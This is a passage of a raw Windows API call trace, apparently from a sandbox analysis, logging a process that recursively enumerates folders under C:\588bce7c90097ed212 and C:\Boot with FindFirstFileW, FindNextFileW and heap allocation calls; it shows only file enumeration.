hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.100] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.100] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x65add0 [0252.101] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.101] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.101] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.101] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.101] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.101] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.102] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.102] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.102] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.102] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x65add0 [0252.103] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.103] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.104] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.104] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.104] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.104] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.105] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.105] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x65add0 [0252.106] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.106] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.106] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.106] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.107] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.107] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.108] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.108] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x380ca20 [0252.314] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.315] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.315] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.315] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.315] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.315] FindClose (in: hFindFile=0x380ca20 | out: hFindFile=0x380ca20) returned 1 [0252.316] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.316] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.316] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.316] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x380c4a0 [0252.317] FindNextFileW (in: hFindFile=0x380c4a0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.317] FindNextFileW (in: hFindFile=0x380c4a0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.317] FindNextFileW (in: hFindFile=0x380c4a0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.317] FindNextFileW (in: hFindFile=0x380c4a0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.318] FindNextFileW (in: hFindFile=0x380c4a0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.318] FindClose (in: hFindFile=0x380c4a0 | out: hFindFile=0x380c4a0) returned 1 [0252.318] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.318] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.319] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.319] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x380c420 [0252.319] FindNextFileW (in: hFindFile=0x380c420, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.320] FindNextFileW (in: hFindFile=0x380c420, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.320] FindNextFileW (in: hFindFile=0x380c420, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.320] FindNextFileW (in: hFindFile=0x380c420, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.320] FindNextFileW (in: hFindFile=0x380c420, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.320] FindClose (in: hFindFile=0x380c420 | out: hFindFile=0x380c420) returned 1 [0252.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.321] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.321] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.321] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x380c5e0 [0252.322] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.322] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.322] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.322] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.322] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.323] FindClose (in: hFindFile=0x380c5e0 | out: hFindFile=0x380c5e0) returned 1 [0252.323] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.323] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.324] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.324] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x380c660 [0252.325] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.325] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.325] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.325] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.326] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.326] FindClose (in: hFindFile=0x380c660 | out: hFindFile=0x380c660) returned 1 [0252.327] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.327] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.327] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.327] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x380c8e0 [0252.328] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.328] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.328] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.328] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.328] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.328] FindClose (in: hFindFile=0x380c8e0 | out: hFindFile=0x380c8e0) returned 1 [0252.329] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.329] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.329] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.329] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x380c820 [0252.330] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.330] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.330] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.330] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.330] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.330] FindClose (in: hFindFile=0x380c820 | out: hFindFile=0x380c820) returned 1 [0252.331] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.331] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.331] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.332] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x380c9e0 [0252.332] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.332] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.332] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.332] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.333] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.333] FindClose (in: hFindFile=0x380c9e0 | out: hFindFile=0x380c9e0) returned 1 [0252.333] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.333] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.333] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.333] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x380c6a0 [0252.334] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.334] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.334] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.334] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.335] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.335] FindClose (in: hFindFile=0x380c6a0 | out: hFindFile=0x380c6a0) returned 1 [0252.335] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.335] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.335] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.336] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x380c820 [0252.336] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.336] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.337] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.337] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.337] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.337] FindClose (in: hFindFile=0x380c820 | out: hFindFile=0x380c820) returned 1 [0252.338] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.338] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.338] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.338] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x380c860 [0252.339] FindNextFileW (in: hFindFile=0x380c860, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.339] FindNextFileW (in: hFindFile=0x380c860, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.339] FindNextFileW (in: hFindFile=0x380c860, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.339] FindNextFileW (in: hFindFile=0x380c860, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.339] FindClose (in: hFindFile=0x380c860 | out: hFindFile=0x380c860) returned 1 [0252.340] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.340] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.340] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.340] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.341] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.341] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x380c7e0 [0252.462] FindNextFileW (in: hFindFile=0x380c7e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.462] FindNextFileW (in: hFindFile=0x380c7e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.463] FindNextFileW (in: hFindFile=0x380c7e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.463] FindNextFileW (in: hFindFile=0x380c7e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.463] FindClose (in: hFindFile=0x380c7e0 | out: hFindFile=0x380c7e0) returned 1 [0252.463] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.463] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.463] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.463] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x380c8e0 [0252.465] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.466] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.466] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.466] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.467] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.467] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.467] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.467] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.467] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.469] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.469] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.469] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.469] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.469] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.469] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.469] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.470] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.470] FindClose (in: hFindFile=0x380c8e0 | out: hFindFile=0x380c8e0) returned 1 [0252.471] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.471] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.471] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.471] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.471] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.473] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.473] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.473] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.473] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.473] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.473] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.473] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.474] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.474] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.474] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.474] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.474] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.474] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.474] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.475] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.475] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.475] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.475] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.475] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.475] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.475] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 0 [0252.476] FindClose (in: hFindFile=0x65ad90 | out: hFindFile=0x65ad90) returned 1 [0252.476] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0252.476] FindNextFileW (in: hFindFile=0x65ad10, lpFindFileData=0x3f7fcf8 | out: lpFindFileData=0x3f7fcf8) returned 1 [0252.476] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44d0728 [0252.476] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 0x380c9a0 [0252.477] FindNextFileW (in: hFindFile=0x380c9a0, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.478] FindNextFileW (in: hFindFile=0x380c9a0, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.478] FindNextFileW (in: hFindFile=0x380c9a0, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.478] FindNextFileW (in: hFindFile=0x380c9a0, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.478] FindNextFileW (in: hFindFile=0x380c9a0, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.479] FindNextFileW (in: hFindFile=0x380c9a0, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.479] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.479] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0x380c660 [0252.479] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.479] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 1 [0252.480] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x3f7f800 | out: lpFindFileData=0x3f7f800) returned 0 [0252.480] FindClose (in: hFindFile=0x380c660 | out: hFindFile=0x380c660) returned 1 [0252.480] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0252.480] FindNextFileW (in: hFindFile=0x380c9a0, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.480] FindNextFileW (in: hFindFile=0x380c9a0, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.480] FindNextFileW (in: hFindFile=0x380c9a0, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.480] FindNextFileW (in: hFindFile=0x380c9a0, lpFindFileData=0x3f7fa7c | out: lpFindFileData=0x3f7fa7c) returned 1 [0252.481] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44e0730 [0252.481] FindFirstFileW (in: 